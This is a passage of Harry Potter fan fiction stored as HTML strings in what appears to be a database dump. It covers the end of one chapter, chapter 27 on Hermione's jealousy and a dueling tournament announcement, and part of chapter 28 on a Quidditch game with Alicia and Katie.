Flitwick\nfell off his chair as he said the name. </p>\n\n<p>It was not as\nembarrassing as the first time he had done it. It looked like he was more\nshocked that he had said the name than the first time he had called Harry\'s\nname from the class register. &quot; Oh yes. I forgot... 128% &quot; he said\nshaking his head at himself for forgetting that he had indeed given the mark to\nhim. Harry knew his paper was good &#8211; maybe high 80% was what he had expected. </p>\n\n<p>The whole\nclass turned to Harry, making him wish the classroom was a desert and he was an\nostrich, so he could bury his head in the sand. His face rapidly became pink\nand the smile he had on his face disappeared a few minutes ago was gone when he\nsaw the look on Hermione\'s face.</p>\n\n<p>She had never\ncome second on anything and this was one of her better subjects. She had her\nmouth open in horror. She was quick to recover, but she felt suddenly very\nangry with Harry, for stealing her rightful place as the number one in charms.\nAfter all, she was the only one of the three who managed to learn how to cast\nthe unlocking spell in their first year.</p>\n\n<p>The rest of\nthe class was very awkward for Harry. He did not even try any of the Charms,\nexplaining that he was no good at them, but the occasional look from the people\nin the class made him think that they suspected that he just did not want to\nshow how good he really was. When the class finished, Hermione ran from the\nclass and was not seen during the half an hour break. Ron took off after her\nbut lost her after a few minutes. </p>\n\n<p>Harry however\nmade his way to the Dueling class quite unsure of why Hermione behaved the way\nshe did. When he got there after the break a surprise was waiting for him.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center"><b>Thanks to NATE for BETA so far :)</b></p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 27, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 27<br>\n<b>Chapter Name:</b> The Big Surprise</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione ran\nas fast as her feet would carry her. She was fit, so that was really fast\ncompared to Ron, who had got very little exercise in the summer holidays and\nhad trouble keeping up with Hermione. After two minutes of solid running she\nmanaged to loose Ron. Tears were streaming down her cheeks when she found\nherself in the library.</p>\n\n<p>She was also\nfurious with herself. &#8216; Just like me.... any problems go to books...,&#8217; she\nthought to herself as she stood against the wall between two shelves of books.</p>\n\n<p>Those two\nshelves of books had in them her favorite books and she liked nothing better than\nto read them for fun, but even the sight of them now was making her angrier\nthan she had been before. She allowed herself to slide down the wall as she\ntried desperately to stop crying... </p>\n\n<p>&#8216; Why did he\nhave to get more than me? I\'m the one who studies all the time... I\'m the one\nwho can do...,&#8217; she could not even finish the thought when she broke down\ncrying again... &#8216; Maybe I should have had studied harder...NO!,&#8217; Suddenly her\npersonality changed.</p>\n\n<p>She became\nconvinced that since Harry had used his powers, it was all his fault. She did\nnot consider thinking about the fact that if Harry had not told her about those\npowers she would still be in the dark about them. Nor that she herself now had\nthe same ability... even if it\'ll take another five months for her to do it. </p>\n\n<p>Even amidst a\npersonal crisis like this, a book caught her attention. The small shimmering\nred book looked like a new edition to this section of the library. The two\nshelves actually covered famous witches and wizards. From Abu the Arrogant to\nWeb the Wonderer, they were all present here. So either the book was a new\nedition to the library resources or it was a book on a new Wizard. She loved\nreading the achievements of those famous people and dream about the day they\nwould write a book about her.</p>\n\n<p>The title of\nthe book was intricately written in golden ink. The contrast of the golden\nletters to the dark red cover was what got her attention in the first place. &quot;...\nTale of the Saviour...&quot; Hermione whispered the title of the book for\nherself.</p>\n\n<p>&nbsp;</p>\n\n<p>At first she\nthought the book was about Harry, because of the remarkable resemblance, but\nthat was hardly the reason she thought the book was about Harry. The person on\nthe cover was behaving exactly like all the pictures of Harry that Hermione had\never seen. He was desperately trying to escape the confines of the picture\nframe. Once that failed he tried to hide behind the things in the background.</p>\n\n<p>She was so\nangry with Harry she actually contemplated getting her wand out and disfiguring\nthe picture on the cover. Some key differences made Hermione reconsider\ndisfiguring the book, but when she noticed the lack of a lightning shaped scar\none the forehead she put her wand back inside the cloak. She went back to the\ntitle above the picture and read the small subtitle.</p>\n\n<p>It read \'\nHarold Parker of Morocco\'.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione\nactually thought a few small scars in appropriate places might have made the\nman appear more than just a pretty face, like Gildroy Lockheart. Her entire\nbody shuddered at the fact that she actually had a crush on that phony man, but\nshe decided not to pass judgment on Harold... just yet. She decided to read the\nbook before passing judgment.</p>\n\n<p>&#8216; That\'s the\nperson Professor Binns was asking me about... What did he ask?,&#8217; she thought\nfor a second, before she went back to all the differences between Harold and\nHarry....</p>\n\n<p>Since the age\nof the person on the photo looked remarkably like that of Harry now, she was\nsurprised to see so many differences. The person was also missing scars to his\nbelly and the left arm.</p>\n\n<p>There was\nsomething odd on his chest that grabbed her attention. It looked like the\ntattoo... but the detail on the picture was not good enough for her to see the\nshape... for that matter she was not even sure if that was not just a part of a\nnecklace of some sort.</p>\n\n<p>Harold\'s hair\nthough was very much like Harry\'s, they differed in the fact that Harry\'s was\ntotally unruly while Harold\'s looked much more in control and half the length\nof what Harry has now. He also did not wear glasses, which actually made him\nappear less handsome in her opinion.</p>\n\n<p>She could not\nreally make out the color of his eyes because of the amount of light that had\nbeen focused on his face, but Hermione guessed they were vivid blue...</p>\n\n<p>&#8216; Like Ron,&#8217; she\nthought dreamily.</p>\n\n<p>&#8216; THE BIGGEST\nDIFFERENCE BETWEEN HAROLD AND HARRY IS THAT HE WOULD NOT GET MORE THAN ME IN\nCHARMS....,&#8217; thought Hermione, as she bitterly walked to the issuing counter. </p>\n\n<p>It was\nirrational for her to think this way but she could not help it. Madame Pince\nsaw the puffy eyes that Hermione had, but said nothing when she handed Hermione\nback the issued book. Hermione did not know why, but just holding the book and\nlooking at that person had ebbed away the anger she felt towards Harry.</p>\n\n<p>By the time\nshe left the library with the book safely in her book bag, she was ready to\nface people again. Hermione decided that Harry would receive silent treatment\nfrom her as a punishment for getting more than her until the next time they\nhave an exam or something to that effect. </p>\n\n<p>When she beats\nHarry in Charms next she\'ll start talking to him again. On her way there, she\nfound many ways to get even with Harry but she need not have bothered. All her\nplans involved beating Harry at the mid year exams, but her chance was going to\ncome faster than she had anticipated.</p>\n\n<p>&nbsp;</p>\n\n<p>After Charms\nclass had finished, Harry had searched the entire castle, but he could not find\nher. The only place he had forgotten to look was the most likely place where\nHermione was most likely to be. </p>\n\n<p>The Library.</p>\n\n<p>This simple\nfact did not register with him until much later - when he saw Ron accompany\nHermione - out of the library.</p>\n\n<p>&#8216; You stupid git!,&#8217;\nHarry scolded himself for not thinking about it. &#8216; You looked all over the\ncastle &#8211; except in the most likely place!... Ugh... How could you miss it? Why\nthe hell didn\'t you just use the Marauder\'s Map! You have it with you!&quot;</p>\n\n<p>He ran towards\ntheir direction, coming to a full stop next to Hermione. &quot; Hey there,\nHermione. Why did you run out of the Charms cl&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Not only did\nHermione not let him finish the sentence, quite unlike her, she actually pushed\nhim to the ground. Harry was not on his guard and this came as a total\nsurprise. Harry fell backwards on to the courtyard between the library and the\nmain castle entrance. He scraped his hand in two places and it stung as the\nhard rock cut against his skin.</p>\n\n<p>&quot; Hey!\nWhy\'d you do that for?&quot; said Harry.</p>\n\n<p>&quot; Don\'t\ncome near me... you&#8230; you&#8230;&quot; she didn\'t know how to finish the sentence so\nshe just started to walk towards the castle.</p>\n\n<p>Ron stopped\njust long enough to help Harry up off the ground and tell him the reason why\nHermione was so mad with him. &quot; She\'s upset that someone got more than her\nin an assignment and on top of that&#8230;&quot; he paused to actually make an effort\nto find a way to say it without making Harry feel like a total loser. &quot;\n-it was you.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry had to\nadmit that he had improved a lot since the ending of his fourth year, but he\ndid not think that he was in anyway close to Hermione\'s level in terms of\nacademic studies. He guessed that Hermione must have had taken it hard that the\nfirst time she was beaten in a subject it was by Harry, the person she helped\nover the holidays to become stronger.</p>\n\n<p>At this point\nRon noticed that Hermione was glaring at the two of them, &quot; err... I have\nto go with her&#8230; you know&#8230;&quot;</p>\n\n<p>From Ron\'s\nvoice Harry could tell that he really wanted to stay a bit longer and help him.\nThis was the first time Ron had acted sincerely with Harry. He suspected that\nit had to do with the fact that Hermione was paying attention to him rather\nthan spreading it between her two best friends.</p>\n\n<p>He was happy\nthat Ron was finally getting closer to Hermione, even though it was coming at\nthe cost of his and Hermione\'s friendship. </p>\n\n<p>It was Harry,\nwho had told Ron to stop acting like a brat and show his feelings for Hermione.\n&quot; Ya, I know.&quot; Replied Harry as he started to dust off his cloak. It\nsurprised Harry a great deal that he was not as angry with Hermione as he was\nwith Ron when he became jealous of Harry getting all the attention in his\nfourth year. When he finally beat the last bit of dust out of his cloak he had\na theory that was very sound. He assumed it was because this was the first time\nshe had acted this way towards him. While with Ron it had almost been from day\none. He sighed to himself and then headed in the same direction as where Ron\nand Hermione had gone.</p>\n\n<p>&nbsp;</p>\n\n<p>The class\nseemed to drag on forever and Harry had only one thing to look forward to\nbefore Saturday when the Quidditch trials were on. About five minute before the\nend of the class, Ali Pasha gathered the students into one place and made an\nannouncement.</p>\n\n<p>&quot; The\nheadmaster has approved the organization of a Dueling tournament. It will be\nheld in honor of all the fallen victims of the Shozar Wars.... You\'ll learn\nmore about that in your History classes over the year so don\'t worry if you do\nnot know what the war was about.&quot; He paused and looked at the expectant\nface of the students.</p>\n\n<p>&quot; There\nwill be prizes for the victors... &quot; There was a small round of applause\nfrom the students so Professor Pasha had to stop. Once the noise level went\ndown he continued, &quot; The prize is a One hundred point increase for the\nhouse and- &quot; He paused this time to build some tension in the crowd,\n&quot; One double pass to the Quidditch World Cup this upcoming summer&quot;</p>\n\n<p>The classroom\nexploded with applause from both the Gryffindors and the Ravenclaws present.\nProfessor Pasha put his hand up in an attempt to stop them from making too much\nnoise. &quot; ... There&#8217;s more. The winner gets to meet and have dinner with\ntheir favorite team after the finals are over&quot; This time the clapping and\ncatcalls did not stop for anything. Professor Pasha tried a few times to calm\nthe class before deciding to put up the signing sheet for tournament, while\nthey celebrated.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron and\nseveral other students wanted to take part in it the tournament. Though a lot\nof people were interested, only few thought they had a chance realistically.\nHarry noticed some of his friends were among the people whose face lit up at\nthe prospect. Three of them had the last name of Weasley.</p>\n\n<p>&nbsp;</p>\n\n<p>One of them\nwas George. George Weasley was the beater for the Gryffindor Quidditch team and\nas such had a lot of upper body strength. He was very health conscious so his\nbody had very little fat, the six years... to that point... of Quidditch had\ngiven him excellent reflexes, but above all he had the motivation to win the\ntournament. He wanted to impress Alicia Spinnet.</p>\n\n<p>One of the\nother two from the Weasley family was Ron. Ron, though not <i>that</i> fit, was\nvery quick on his feat in terms of strategy. Last summer his father had been\nunable to get the tickets to the world cup and England this year had a real chance since they\nhad taken Oliver Wood as the captain of the team. He knew his chances of\nwinning the tournament were very slim but he wanted the Quidditch World cup\ntickets more than anything else.</p>\n\n<p>&#8216; Even if I\ndon\'t, I might be able to get Hermione\'s attention,&#8217; thought Ron.</p>\n\n<p>The last of\nthe three was most definitely the Weasley with the most to offer to the\ntournament, this was Ginny Weasley. </p>\n\n<p>Harry knew for\na fact that she was at the top of her grade in most subjects and there were\nonly two differences between Hermione and her. First one was that Hermione\nstudied all the time (though Harry and Ron had managed to corrupt her, the\nincident in the Charms class only proved that they had a long way to go) while\nGinny found the subjects easy. The second was the most obvious one. Hermione\ndid not have a crush on Harry like Ginny did. Harry could tell by the way\nGinny\'s cheeks became pink every time he looked at her. Even after she and\nCollin Creevy became more than friends, or so Harry thought. </p>\n\n<p>Unknown to\nHarry the reason for her entering the tournament was the same as her two\nbrothers... well mostly, like George... She wanted to impress Harry with all\nshe knew.</p>\n\n<p>Harry scanned\nthe face of his friends and saw that Cho Chang the sixth year Ravenclaw\nprefect... not to mention the Quidditch seeker and the long-time crush of\nHarry\'s... was interested too. She had a real grudge against Voldemort after\nkilling her boyfriend and this was her opportunity to see how she measured up.\nShe knew that if she could not win the tournament then she had no chance of\nbeating Lord Voldemort. </p>\n\n<p>The look of\npain suddenly flashed through her face and Harry was forced to remove his gaze.\nThough the talk with Cho had done a lot of good, that sudden pain was something\nthat Harry would never get used to.</p>\n\n<p>His gaze then\nfell upon Alicia, who was talking very animatedly to her friend Katie Bell.\nHarry knew that Alicia would sign up even before he saw her face. The reason\nbeing she thought it was her job to win points for the house more than anyone\nelse, since she was the head girl. She was the chaser in the Quidditch team so\nshe had a quick eye and it was her ability to see through most strategies which\nmade the team think that she was going to be a great captain.</p>\n\n<p>She was very\nfit, which Harry knew from the two times that he had run along side her in the\nmorning. <i>&#8216; Very fit...&#8217;</i> thought Harry as suddenly his face flushed a\nlittle. He shook his head to get rid of the image of her in the tight running clothes,\nthat she was wearing a few days ago. It was this that had made him flush all of\na sudden.</p>\n\n<p>The last\nperson that Harry recognized from the people who looked interested was\nHermione. She actually caught Harry looking at her. She glared at him in a\nvenomous way, which made Harry\'s heart sink. What Harry did not know was that\nHermione wanted to enter the competition to beat him. She wanted to beat Harry\nso badly that she decided from that point on she would spend most of her time\nin the library reading up on spells and practicing them.</p>\n\n<p>When Professor\nPasha put up the signup sheet Hermione was the first one to signup,\nautomatically assuming that Harry would definitely be participating in the\ntournament. She assumed that since it involved the Quidditch World cup he would\nenter. </p>\n\n<p>She was wrong,\nand she would not find out until it was too late for her to pull out of the\ncompetition. Hermione quickly dragged Ron to the library after class to do\nresearch to find great spells to use in the tournament.</p>\n\n<p>While they\nwere signing up, Harry headed for the Quidditch pitch to get ready for his\nrematch with Alicia. He still remembered what had happened the last time he was\nin a tournament. One person died. That death would not have happened if he did\nnot offer to share the prize with Cedric.</p>\n\n<p style="text-align:center" align="center">&nbsp;</p>\n\n<p style="text-align:center" align="center">&nbsp;</p>\n\n<p>Alicia was\nheld back after class for an extra five minutes by Professor Pasha to go over\nthe details of the upcoming tournament. Professor Pasha sensed that she wanted\nto finish it quickly so he let her go early while he talked to the Head Boy.\nAlicia raced through the corridors of the castle to get to the common room.</p>\n\n<p>Her mind was\nracing through all the things that she had to do once she got there. She was\nconvinced that if she knew exactly what she had to do then she could be on the\nfield faster. She came to a full stop at the portrait. </p>\n\n<p>&quot; In a\nbig hurry are we, dearie...&quot; the fat lady did not get to finish her\nsentence when Alicia said the password.</p>\n\n<p>&quot; Sugar\nQuill&quot;</p>\n\n<p>The fat lady\nwas upset that she got no greeting, but she swung open the door nonetheless. In\nher hurry Alicia tripped on one of the loose floor tiles (everyone knew to\navoid it) and landed right on top of...</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 28, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 28<br>\n<b>Chapter Name:</b> Alicia &amp; Katie and the hint of war</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Alicia opened\nher eyes slowly to see whom she had tripped over. She hoped it was not George\nWeasley. He always seemed to be following her &#8211; for so long that had been\nhappening that she had concluded that her mind was indeed playing tricks on her\n&#8211; or maybe a trick on her by George/Fred. She just wasn&#8217;t sure. </p>\n\n<p>As odd as it\nseemed to other people, she could actually tell them apart. Something even\ntheir mother could not do. <i>&#8216; It was a handy skill in my second year... I\'m\ngetting side-tracked, &#8216; </i>she thought.</p>\n\n<p>She was\nrelieved to see that it was actually Lee she had stumbled onto. Alicia quickly\nrolled herself off him. Fortunately there was no one in the common room as far\nas she could tell, so no one saw the compromising position they had ended up in\nright after the collision.</p>\n\n<p>&quot; Lee...&quot;\nsaid Alicia, &quot; I\'m really sorry. I wasn\'t watching where I was\ngoing...&quot;</p>\n\n<p>&quot; That\'s\nok&quot; he replied, rubbing his head a little where it had hit the floor.</p>\n\n<p>&quot; Are you\nsure?&quot; suddenly she felt concerned for him, &quot; Do you need to go to\nthe Madam Pomfrey? -&quot;</p>\n\n<p>&quot; No. I\'m\nfine. I have to get going now.&quot;</p>\n\n<p>&quot; Why are\nyou in such a hurry?&quot; she asked curiously.</p>\n\n<p>&quot; Snape\'s\ncalled a meeting of the school board in about two minutes&quot;</p>\n\n<p>&quot; Why do\nthey need you there?&quot;</p>\n\n<p>&quot; I don\'t\nknow...&quot; Lee checked his watch to see what time it was. When he did he\nwished he had not.</p>\n\n<p>&quot; I have\nto go... I\'ll talk to you later&quot; with that he rushed out of the common\nroom and headed for a passageway close by.</p>\n\n<p>&nbsp;</p>\n\n<p>Alicia had not\nnoticed, but Katie had moved silently behind her best friend and was waiting\nfor her to turn around so she could scare the hell out of her. When Alicia\nturned around she found herself almost nose to nose with her.</p>\n\n<p>&quot; Boo.&quot;\nsaid Katie in a soft voice, but it was enough to scare Alicia half to death. </p>\n\n<p>&quot; Aaaaah&quot;\nscreamed Alicia, as she took a step back. She got very angry, very fast when\nher brain registered that it was Katie. &quot; I\'m going to kill you,&quot; she\nsaid as she reached into her cloak to get her wand out.</p>\n\n<p>&quot; Sorry...\nI couldn\'t resist,&quot; said Katie as she lowered her head a little and\ncovered it with her own hands. </p>\n\n<p>&quot; Well....&quot;\nsaid Alicia, putting her wand back into the pocket, &quot; Just don\'t do it\nagain&quot;</p>\n\n<p>Alicia did not\nsay anything to Katie before she headed for the girl\'s dormitory. A bit\nsurprised that she was not punished, Katie followed her into the room. She\nwatched as Alicia tore through all her outfits in search of something. Katie\nsaw the range of clothes Alicia had in her closet opposite of her four-poster\nbed. Katie sat down on Alicia\'s bed and asked, &quot; What are you looking\nfor?&quot;</p>\n\n<p>&quot;...I\nhave to... I have...&quot; Alicia tried several times to start the sentence but\nin her search she would forget to finish the sentence. </p>\n\n<p>&quot; You\nknow you\'d sound a lot more sane if you didn\'t leave your sentences half\nfinished.&quot;</p>\n\n<p>&quot; What?\nOh&quot; came a reply from Alicia who actually had paid no attention to what\nKatie had said.</p>\n\n<p>Katie waked\nover to her friend and put her hand on her shoulder to get her attention. &quot;\nWhat are you looking for?&quot; she repeated the question.</p>\n\n<p>&quot; Well...&quot;\nAlicia blushed a little and to avoid the topic she made a grab for one of her\nblouses, but Katie would not let her go.</p>\n\n<p>&quot; Nuh-uh.\n&#8216;Well&#8217; what?&quot; asked Katie. She had just seen her best friend blush and she\nwanted more than anything to find out the reason why.</p>\n\n<p>&quot; I have\na game with Harry&quot; she said, making Katie very confused.</p>\n\n<p>&quot; What\ngame?&quot; she asked innocently enough until suddenly it dawned on her, &quot;\n-Sweet Merlin!&quot; Katie yelled as she stepped back from her friend. She put\nher hand on her mouth covering it and the other on her chest. &quot; ...You...him...\nyou...&quot; Katie started to stammer, &quot; you...&quot;</p>\n\n<p>&quot; What?&quot;\nasked Alicia finding her friend\'s reaction a bit of an insult.</p>\n\n<p>&quot; Well...\nit\'s Harry!&quot;</p>\n\n<p>&quot; So&quot;</p>\n\n<p>&quot; I know\nhe\'s the tall, dark and handsome and all that.... but He\'s two years younger\nthan you! And you\'re the head girl!&quot;</p>\n\n<p>&quot; He\'s\nhandsome and-&quot; Alicia\'s eyes glazed over very slightly as she said, &quot;\nBesides he looks really good in running shorts.&quot;</p>\n\n<p>Katie\'s initial\nshock wore off, after she remembered that Alicia was the youngest Seventh year\nin the school. The shock would not have come at all if Harry was a year older.\nThe shock turned to curiosity after a little while.</p>\n\n<p>&quot; So...\nhow long have you guys been going out? Don\'t tell me, all summer and you didn\'t\neven tell me,&quot; she said with mock anger.</p>\n\n<p>&quot; We\'re\nnot seeing each other, for your information&quot; she blushed and said, &quot;\n-I\'m just interested.&quot;</p>\n\n<p>&quot; So it\'s\nnot a two way thing?&quot;</p>\n\n<p>&quot; No.&#8221;\nAlicia said frowning. &#8220; Not yet&quot;</p>\n\n<p>&quot; Oh! So\nyou\'re just trying to get close to him to see if there\'s interest in his\npart?&quot;</p>\n\n<p>&quot; Hey!\nHow did you know?&quot; replied an astounded Alicia. Katie did not answer her\nfriend, but rather started to look through all the clothes that Alicia had in\nher closet. Finding nothing that she felt was appropriate for this type of\nsituation, she went over to her own closet covered in posters of the Irish\nNational Team. She opened it up and started to look through the mess for her\nfriend.</p>\n\n<p>&quot; You\ndidn\'t answer my question,&quot; said Alicia putting her hands on her hips.</p>\n\n<p>&quot; It\'s\ncommon sense... Well actually you didn\'t think it through did you?&quot;\nConfused, Alicia asked, &quot;What do mean?&quot; </p>\n\n<p>Katie replied,\n&quot; If you did think it through, you would have had me involved from the\nbeginning.... Here&quot; she said as she handed two pieces of her clothes to\nAlicia.</p>\n\n<p>&quot; Why\nwould I want to get you involved?&quot; </p>\n\n<p>&quot; Because...\nthen you would have someone to tell you his reaction when he sees you.... Now\nlet\'s see what we can do about your hair&quot; </p>\n\n<p>&quot; I don\'t\nhave much time...&quot; </p>\n\n<p>Katie had a\ngrin on her face when she said, &quot; Don\'t worry it\'ll only take a\nminute...&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>As Alicia and\nKatie headed for the Quidditch field a few minutes (8 and 5/9 minutes to be\nexact) later they got talking.</p>\n\n<p>&quot; What\nare you playing anyway?&quot; asked Katie</p>\n\n<p>&quot; Catch\nthe snitch...&quot; said Alicia.</p>\n\n<p>Alicia\nexplained the rules of the game (took half a minute). On their way to the\nground Alicia told what had happened the day before and also told how Harry had\nlet her use the Firebolt. </p>\n\n<p>&quot; He let\nyou use his Firebolt...&quot; she was astounded. Katie the proud owner of a soupped\nup Nimbus 2001 and was reluctant to give it to any one else. She highly doubted\nthat if she was in Harry\'s shoes, then anyone other than her would even know\nthat she had one, let alone allow someone other than herself to ride on it.\nBroomsticks like Firebolt aren&#8217;t just made to be shared.</p>\n\n<p>When they\narrived at the field they saw Harry looking at the hoops from the sideline.\nThey had expected Harry to be waiting from them ready to go, but they were\nsurprised to see that Harry was just staring at the hoops at the other end of\nthe field. He had his book bag with him and he was still wearing his black\ncloak. A worried glance was exchanged between Katie and Alicia as they headed\ntowards where Harry was.</p>\n\n<p>Alicia tapped\non Harry\'s shoulder bringing him out of his daydream. He slowly looked up to\nsee who it was and he was greeted with the sight of Alicia, a very big smile on\nher face. </p>\n\n<p>&quot; Aren\'t\nwe playing?&quot; she asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked\nat her from where he was sitting on the ground. She had changed from the\nclothes that she had worn before in class to more casual clothes. She was\nwearing a light blue t-shirt with long black shorts. Her black hair was tied\nwith a ponytail and the loose portion of it swished back and forth in the air.\nThe bottom part of the t-shirt did the same as her hair.</p>\n\n<p>&quot; Yes...&quot;\nhe managed to stammer out.</p>\n\n<p>&quot; What\nabout me?&quot; asked a feminine voice.</p>\n\n<p>Harry did not\nactually notice before that someone else was there too. Harry turned to the\nother side to see that the voice belonged to Katie. She looked rather stunning\nherself in a vivid red coloured sweatshirt and dark grey trousers. &quot; You\nwant to play as well?&quot; he asked skeptically</p>\n\n<p>Katie had\nnoticed before that Harry had been growing more and more &#8216;cute&#8217; over the last\nfour years and now over the summer he seemed to have jumped the bridge between\ncute and handsome. Not only that, he seemed to have also broke the record for\nit. Even underneath his cloak she could make out the outline of his body. A\nlittle pink showed on her cheek as she examined Harry\'s body.</p>\n\n<p>&quot; Of\ncourse I do&quot; she said with a mock-annoyed tone, &quot; I thought that\'s\nwhat I asked.&quot;</p>\n\n<p>&quot; Erm&#8230; &quot;\nsaid Harry as he got to his feet. &#8220; Fine I suppose.&#8221;</p>\n\n<p>&quot; I want\na rematch first,&quot; said Alicia. &quot; ...If that\'s OK with you Katie.&quot;</p>\n\n<p>&quot; Sure go\nahead. I\'ll do some loops in the air for a while&quot; Katie sounded a bit\ndisappointed.</p>\n\n<p>Harry picked\nthat up from her voice and said to Alicia, &quot; Why don\'t both of you play on\none team and I\'ll be the other one. You\'ll need all the help you can get from\nKatie not to loose this time.&quot; there was a mischievous smile on his face. </p>\n\n<p>&quot; Well...\nIf you say so but, I get the Firebolt this time,&quot; said Katie sounding very\nhappy indeed as she looked around to see where Harry\'s famous red Firebolt was.</p>\n\n<p>&quot; Where\nis it by the way?&quot; asked Alicia.</p>\n\n<p>&quot; It\'s in\nmy room... I\'ll just summon it,&quot; he said as he took out his wand from the\nleft compartment. &quot; Accio Firebolt&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Right after\nsaying the spell Harry started to undo the cloak. He did not notice the way the\ntwo girls were looking at him when he was doing so. Harry undid the top part of\nthe cloak revealing that he was wearing a grey t-shirt with black sleeves and\nsides. When the top of his old faded black trousers became visible, the\nattention of the girls switched to the red blur heading straight for Harry at\nan incredible speed.</p>\n\n<p>Katie quickly\ngrabbed it, before giving Alicia her supped-up Nimbus 2001. It was almost as if\nshe was afraid that if she took too long getting the broom Harry might change\nhis mind. Katie might have thought that it would be fun to ride the fastest\nbroom in the world, but she should have been more careful and tested out the\ncontrols. No sooner was she three feet off the ground and the broom turned too\nfast and dived right into the ground. She was thrown of it and landed on a\nparticularly muddy patch on the field.</p>\n\n<p>Harry and\nAlicia fearing the worst when she did not get up, and ran to where she had\nlanded. Katie was lying flat on the ground. They were not sure if they should\nmove her or not, when Katie started to get off the ground. </p>\n\n<p>&quot; That\nwas a rush,&quot; Katie beamed, sitting up on the ground. Alicia came closer to\nher friend and hit her on the head with the palm of her hand. &quot; Ow... what\nwas that for?&quot; asked Katie.</p>\n\n<p>&quot; Being\nstupid&quot; stated Alicia as she grabbed one of Katie\'s hands and helped her\noff the ground.</p>\n\n<p>&quot;... That\nwas worth it. It\'s amazing!&quot; Her eyes were glazed as she started to\ndescribe all the feelings that she got on her short ten second ride on it. Harry\nwas glad she did not crash until after a full minute of joy riding. He was\nfairly certain that he would not have been able to stop her from talking about\nit if she had. Ever.</p>\n\n<p>&nbsp;</p>\n\n<p>Alicia and\nHarry both gave Katie lots of advice before letting her on it again. Once she\nwas used to the controls, the game stared. Alicia conveniently took the soupped\nup Nimbus 2001 and rode up to where Katie was. Harry did not know that there\nwas a difference between two light blue Nimbus 2001\'s so he did not object to\nthe girls having both of the faster brooms present</p>\n\n<p>.</p>\n\n<p>&nbsp;</p>\n\n<p>A bit further\naway in the castle the castle, two boys watched from the seventh year dorm\nroom. It was the Weasley Twins. George was the one who looked like he could\nmurder someone.</p>\n\n<p>&quot; See...\nI told you. The scoundrel&#8217;s making a move on both our girls!&quot; said George.</p>\n\n<p>&quot;\nTechnically they aren\'t our girls... you do know that right?&quot;, said Fred.</p>\n\n<p>&quot; That\'s\nonly because we haven\'t told them how we feel about them yet. No one can resist\nthe Weasley Charm.&quot;</p>\n\n<p>&quot; Is that\nso? - When are you going to tell Alicia how you feel about her?&quot;</p>\n\n<p>&quot; The\nsame day you tell Katie how you feel about her...&quot; retorted George.</p>\n\n<p>&quot; I never\nsaid I like her... that way.... anyway, I know what you\'re thinking. I\'m in if\nthis goes on.... Just remember this is because of you and Alicia I\'m doing\nthis&quot;</p>\n\n<p>&quot; And I\nbelieve you.&quot;</p>\n\n<p>&#8220; He is a\nscoundrel.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The game\nlasted and hour and a half before Katie &#8216;suddenly&#8217; remembered that she had some\nhomework to finish off so she took off. But before she went Alicia and Katie\nhad a small talk at the edge of the frield. &quot; So what do you think?&quot;\nAlicia asked Katie\'s opinion.</p>\n\n<p>&quot; Cute\nbum.&#8221; Katie said looking over at Harry, bending over to put away one of the\npractice snitches. </p>\n\n<p>&#8220; Be serious!&#8221;\nsaid Alicia.</p>\n\n<p>&#8220; I am.&#8221; Katie\ngiggled. &#8220; Don&#8217;t tell me you&#8217;ve not thought of it, Alicia, I know for a fact\nyou&#8217;ve got a gutter mind&#8230; somewhere deep in that mind of yours&#8230;&#8221;</p>\n\n<p>Alicia\nflustered. &#8220; Just answer the question, please.&#8221;</p>\n\n<p>Katie sighed. &#8220;\nHe seems interested...&quot;</p>\n\n<p>Alicia\'s mouth\nspawned a smile. &quot; Really? So you think I should ask him out?&quot;</p>\n\n<p>&quot;What?&quot;\nshouted Katie, &quot; Are you crazy? - You don\'t make the first move. You let\nhim make it.&#8221;</p>\n\n<p>&quot;Oh\nOK.&quot;</p>\n\n<p>&quot;... And\nif he does ask you out sometime in the future, say that you\'re going as\n&quot;friends&quot; nothing more. You\'ll know from his behavior after that\nwhether you want to get involved with him.... anyway I better get going. I just\nremembered, I <b><i>really </i></b>have to finish off the Muggle Studies\nhomework&quot;</p>\n\n<p>Alicia nodded.\nJust before she was turning to go she said, &#8220; Send him my way, if things don&#8217;t\nwork out.&#8221;</p>\n\n<p>&#8220; Hey! I\nthought you were supposed to root for me..&#8221;</p>\n\n<p>&#8220; Nuh-uh&#8230; I\njust wanted to get an excuse to look at him &#8211; like now.&#8221;</p>\n\n<p>Alicia started\nto chase Katie. &quot; C\'ya Harry&quot; Katie, as she ran from Alicia. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry who was\non the other side of the field, struggling to put the practice snitch into the\nbox. Harry did not turn back and face Katie, but rather put up his hand in the\nair and waved it while he used the other hand to keep the snitch from escaping.</p>\n\n<p>After Katie\nleft, Alicia jumped on the Firebolt and went to where Harry was. By the time\nshe reached him, Harry had managed to put the snitch back in the box. Snitches\naren\'t supposed to fight when being put into a box, but this practice one was\nrather odd. &quot; You done?&quot; she asked.</p>\n\n<p>&quot; Yep&quot;\nHarry replied to a mud covered Alicia.</p>\n\n<p>&quot; So how\nlong is it till dinner time?&quot;</p>\n\n<p>&quot; 12\nminutes&quot; he said without looking at the watch.</p>\n\n<p>&quot; How do\nyou know? You didn\'t check the 